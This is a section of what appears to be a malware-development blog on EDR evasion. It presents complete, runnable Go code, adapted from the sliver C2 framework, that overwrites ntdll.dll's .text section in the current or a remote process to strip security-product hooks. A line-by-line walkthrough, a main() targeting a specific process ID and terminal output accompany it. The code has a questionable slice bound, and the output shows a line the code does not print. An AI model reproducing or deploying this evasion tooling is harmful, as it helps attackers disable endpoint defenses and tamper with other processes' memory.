2. Load a fresh copy of the dll from disk

#EDREvasion #UserlandHooks #unhook

This technique is probably the easiest way of getting rid of the hooks. It is not always effective since the EDR might perform integrity checks on the loaded dll and either reinstall the hooks or flag our activity as malicious.

Also the EDR might flag our process as malicious when we try load the dll from disk. The sample code below is used as part of sliver C2 (great resource when learning malware development in Golang). We will slightly modify the code to unhook dll in remote processes as well.

Let's break the code down

What we want to achieve is to read the contents of a dll from the disk and overwrite the dll with the hooked functions in memory of any process whether remote or current process.

This is done by reading the .text section of the dll having all the executable code and overwrite the code in memory. To identify the offset of the .text region from the base address and the size of the .text region the debug/pe package was used.

func RefreshPE(name string, pid int) error {
	fmt.Printf("Reloading %s...\n", name)
	df, err := os.ReadFile(name)
	if err != nil {
		return err
	}
	f, err := pe.Open(name)
	if err != nil {
		return err
	}

	x := f.Section(".text")
	ddf := df[x.Offset:x.Size]
	return writeGoodBytes(ddf, name, pid, x.VirtualAddress, x.Name, x.VirtualSize)
}

line 1: Function declaration with arguments of the dll path and the process pid.

lines 3-6: Read contents of the dll file from disk to a byte slice 'df'

lines 7: Opens file and initiates the debugging session

line 12: Gets the details of the .text section

line 13: Create a new slice with the contents of the .text section only

line 14: calls the writeGoodBytes function

The following code overwrites the .text section of the loaded dll with the bytes in the slice from the previous function.

DLLs are loaded in the same virtual address across all processes. So identifying the dll base address in the current process essentially gives us the location of the dll in all processes.

func writeGoodBytes(b []byte, pn string, pid int, virtualoffset uint32, secname string, vsize uint32) (err error) {
	var pHandle windows.Handle
	t, err := windows.LoadDLL(pn)
	if err != nil {
		return err
	}
	h := t.Handle
	dllBase := uintptr(h)
	fmt.Printf("DLL Base Address 0x%x\n", dllBase)
	dllOffset := uint(dllBase) + uint(virtualoffset)
	fmt.Printf("DLL Text Region 0x%x\n", dllOffset)

	if pid == -1 {
		pHandle = windows.CurrentProcess()
	} else {
		pHandle, err = windows.OpenProcess(windows.PROCESS_VM_WRITE|windows.PROCESS_VM_OPERATION, false, uint32(pid))
		if err != nil {
			return err
		}
	}
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(pHandle, uintptr(dllOffset), &b[0], uintptr(len(b)), &numberOfBytesWritten)
	if err != nil {
		return err
	}

	fmt.Printf("DLL overwritten Bytes %x/%x", numberOfBytesWritten, len(b))

	return nil
}
  • Lines 3-7: Identify the base address of the dll. This could be replaced by walking the PEB method. This method will be explored in upcoming blog when we implement hell's gate in golang

  • Lines 8-11: Calculate the the memory address to write our fresh dll

  • Lines 13-20: Get a handle on the remote / current process

  • Lines 21-27: Write fresh bytes to the specified address

For this example we will load a fresh copy of the ntdll.dll of the remote process with pid 3396

func main() {
	err := RefreshPE(`C:\Windows\System32\ntdll.dll`, 3396)
	if err != nil {
		fmt.Println(err)
	}

}

Let's see how the function ntdll!NtAdjustPrivilegesToken looks before and after running the script

Terminal Output

PS C:\Users\TEST\Desktop\unhook> go run .
Reloading C:\Windows\System32\ntdll.dll...
Target Process: 3396
DLL Base Address 0x7ff9b0590000
DLL Text Region 0x7ff9b0591000
DLL overwritten 
Bytes 12c000/12c000
PS C:\Users\TEST\Desktop\unhook> 

Complete Code

/*
Slightly modified version of the code from sliver c2
It's possible to reload a fresh dll into a remote process
https://github.com/BishopFox/sliver/blob/master/implant/sliver/evasion/evasion_windows.go

*/

package main

import (
	"debug/pe"
	"fmt"
	"os"

	"golang.org/x/sys/windows"
)

func main() {
	err := RefreshPE(`C:\Windows\System32\ntdll.dll`, 3396)
	if err != nil {
		fmt.Println(err)
	}

}

// RefreshPE reloads a DLL from disk into any process
// in an attempt to erase AV or EDR hooks placed at runtime.
// use pid -1 for current process
func RefreshPE(name string, pid int) error {
	fmt.Printf("Reloading %s...\n", name)
	df, err := os.ReadFile(name)
	if err != nil {
		return err
	}
	f, err := pe.Open(name)
	if err != nil {
		return err
	}

	x := f.Section(".text")
	ddf := df[x.Offset:x.Size]
	return writeGoodBytes(ddf, name, pid, x.VirtualAddress, x.Name, x.VirtualSize)
}

func writeGoodBytes(b []byte, pn string, pid int, virtualoffset uint32, secname string, vsize uint32) (err error) {
	var pHandle windows.Handle
	t, err := windows.LoadDLL(pn)
	if err != nil {
		return err
	}
	h := t.Handle
	dllBase := uintptr(h)
	fmt.Printf("DLL Base Address 0x%x\n", dllBase)
	dllOffset := uint(dllBase) + uint(virtualoffset)
	fmt.Printf("DLL Text Region 0x%x\n", dllOffset)

	if pid == -1 {
		pHandle = windows.CurrentProcess()
	} else {
		pHandle, err = windows.OpenProcess(windows.PROCESS_VM_WRITE|windows.PROCESS_VM_OPERATION, false, uint32(pid))
		if err != nil {
			return err
		}
	}
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(pHandle, uintptr(dllOffset), &b[0], uintptr(len(b)), &numberOfBytesWritten)
	if err != nil {
		return err
	}

	fmt.Printf("DLL overwritten Bytes %x/%x", numberOfBytesWritten, len(b))

	return nil
}

Last updated